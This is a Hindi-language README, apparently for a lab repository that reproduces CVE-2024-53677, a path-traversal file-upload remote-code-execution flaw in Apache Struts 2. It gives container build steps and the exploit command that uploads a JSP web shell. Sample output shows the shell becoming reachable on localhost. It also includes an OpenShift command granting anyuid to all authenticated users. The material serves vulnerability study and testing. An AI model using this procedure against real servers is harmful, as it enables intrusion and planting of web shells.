
CVE-2024-53677 के लिए संवेदनशील वातावरण और शोषण
CVE-2024-53677 - Apache Struts 2 रिमोट कोड निष्पादन भेद्यता (RCE) पुनरुत्पादन वातावरण
यह रिपॉजिटरी Apache Struts 2 में CVE-2024-53677 भेद्यता को पुनरुत्पादित करने के लिए एक कंटेनर-आधारित वातावरण प्रदान करता है। यह भेद्यता पथ ट्रैवर्सल से संबंधित है और Struts 2 की फ़ाइल अपलोड कार्यक्षमता के माध्यम से मनमाना कोड निष्पादन (RCE) की अनुमति देती है।
पर्यावरण को Podman का उपयोग करके बनाया और चलाया जा सकता है। एप्लिकेशन को सेट करने के लिए इन चरणों का पालन करें:
git clone https://github.com/seanrickerd/CVE-2024-53677.git
cd CVE-2024-53677
podman build --ulimit nofile=122880:122880 -m 3G -t cve-2024-53677 .
podman run -d -p 8080:8080 --ulimit nofile=122880:122880 -m 3G --rm -it --name cve-2024-53677 cve-2024-53677
एक्सप्लॉइट चलाना:
pip install -r requirements.txt
python S2-067.py -u http://localhost:8080 --upload_endpoint /upload.action --files newshell.jsp --destination ../newshell.jsp
एक आंतरायिक समस्या है जहां फ़ाइल ठीक से अपलोड हो जाएगी लेकिन एक्सेस नहीं की जा सकेगी। इसके समाधान के लिए, आपको गंतव्य में एक अतिरिक्त . जोड़ना होगा, फिर मूल कमांड को पुनः चलाना होगा।
$ python S2-067.py -u http://localhost:8080 --upload_endpoint /upload.action --files shell.jsp --destination ../shell.jsp
[INFO] Uploading files to http://localhost:8080/upload.action...
[SUCCESS] File newshell.jsp uploaded successfully: ../shell.jsp
[INFO] Verifying uploaded file: http://localhost:8080/shell.jsp
[INFO] File not accessible. HTTP Status: 404
$ python S2-067.py -u http://localhost:8080 --upload_endpoint /upload.action --files shell.jsp --destination .../shell.jsp
[INFO] Uploading files to http://localhost:8080/upload.action...
[SUCCESS] File newshell.jsp uploaded successfully: .../shell.jsp
[INFO] Verifying uploaded file: http://localhost:8080/.../shell.jsp
[INFO] File not accessible. HTTP Status: 404
$ python S2-067.py -u http://localhost:8080 --upload_endpoint /upload.action --files shell.jsp --destination ../shell.jsp
[INFO] Uploading files to http://localhost:8080/upload.action...
[SUCCESS] File newshell.jsp uploaded successfully: ../shell.jsp
[INFO] Verifying uploaded file: http://localhost:8080/shell.jsp
[ALERT] File uploaded and accessible: http://localhost:8080/shell.jsp
शेल http://localhost:8080/shell.jsp पर ब्राउज़र के माध्यम से एक्सेस किया जा सकेगा।
OpenShift डिफ़ॉल्ट रूप से सुरक्षित है, इसलिए आपको पहले विशेषाधिकार प्राप्त कंटेनरों की अनुमति देनी होगी:
oc adm policy add-scc-to-group anyuid system:authenticated
यदि आप स्वयं इमेज फ़ाइल बनाना चाहते हैं, तो आपको डॉकरफ़ाइल में निम्नलिखित पंक्तियाँ जोड़नी होंगी:
COPY --from=0 /usr/src/cve/target/upload-1.0.0.war /usr/local/tomcat/webapps/ROOT.war
COPY ./tomcat-users.xml /usr/local/tomcat/conf/tomcat-users.xml
COPY ./context.xml /usr/local/tomcat/webapps/manager/META-INF/context.xml
निम्नलिखित yaml "vulnerables" नामक एक नेमस्पेस बनाएगा और भेद्य कंटेनर को 1 रेप्लिका वाले डिप्लॉयमेंट, एक सेवा और एक रूट के रूप में तैनात करेगा, जिससे आप भेद्य वर्कलोड तक पहुँच सकेंगे।
यदि आपने स्वयं इमेज बनाई है, तो आपको yaml में इमेज के स्थान को अपनी इमेज के स्थान को दर्शाने के लिए बदलना होगा।
oc create -f ocp-struts.yaml
आप रूट को Networking->Routes में पा सकते हैं।
